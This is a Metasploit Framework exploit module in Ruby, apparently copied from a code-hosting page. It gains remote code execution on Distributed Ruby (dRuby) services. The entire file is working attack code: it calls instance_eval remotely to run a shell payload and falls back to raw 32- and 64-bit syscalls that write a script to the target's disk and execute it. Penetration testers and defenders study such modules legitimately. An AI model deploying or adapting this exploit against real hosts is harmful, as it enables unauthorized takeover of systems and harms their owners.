108 lines
2.8 KiB
Ruby
108 lines
2.8 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/projects/framework/
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##
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require 'msf/core'
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require 'drb/drb'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Distributed Ruby Send instance_eval/syscall Code Execution',
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'Description' => %q{
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This module exploits remote code execution vulnerabilities in dRuby
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},
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'Author' => [ 'joernchen <joernchen[at]phenoelit.de>' ], #(Phenoelit)
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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],
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'Privileged' => false,
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'Payload' =>
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{
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'DisableNops' => true,
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'Compat' =>
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{
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'PayloadType' => 'cmd',
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},
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'Space' => 32768,
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},
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'Platform' => 'unix',
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'Arch' => ARCH_CMD,
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'Targets' => [[ 'Automatic', { }]],
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'DisclosureDate' => 'Mar 23 2011',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('URI', [true, "The dRuby URI of the target host (druby://host:port)", ""]),
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], self.class)
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end
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def exploit
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serveruri = datastore['URI']
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DRb.start_service
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p = DRbObject.new_with_uri(serveruri)
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class << p
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undef :send
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end
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begin
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print_status('trying to exploit instance_eval')
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p.send(:instance_eval,"Kernel.fork { `#{payload.encoded}` }")
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rescue SecurityError => e
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print_status('instance eval failed, trying to exploit syscall')
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filename = "." + Rex::Text.rand_text_alphanumeric(16)
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begin
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# syscall to decide wether it's 64 or 32 bit:
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# it's getpid on 32bit which will succeed, and writev on 64bit
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# which will fail due to missing args
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j = p.send(:syscall,20)
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# syscall open
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i = p.send(:syscall,8,filename,0700)
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# syscall write
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p.send(:syscall,4,i,"#!/bin/sh\n" << payload.encoded,payload.encoded.length + 10)
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# syscall close
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p.send(:syscall,6,i)
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# syscall fork
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p.send(:syscall,2)
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# syscall execve
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p.send(:syscall,11,filename,0,0)
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# not vulnerable
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rescue SecurityError => e
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print_status('target is not vulnerable')
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# likely 64bit system
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rescue => e
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# syscall creat
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i = p.send(:syscall,85,filename,0700)
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# syscall write
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p.send(:syscall,1,i,"#!/bin/sh\n" << payload.encoded,payload.encoded.length + 10)
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# syscall close
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p.send(:syscall,3,i)
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# syscall fork
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p.send(:syscall,57)
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# syscall execve
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p.send(:syscall,59,filename,0,0)
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end
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end
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print_status("payload executed from file #{filename}") unless filename.nil?
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print_status("make sure to remove that file") unless filename.nil?
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handler(nil)
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end
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end
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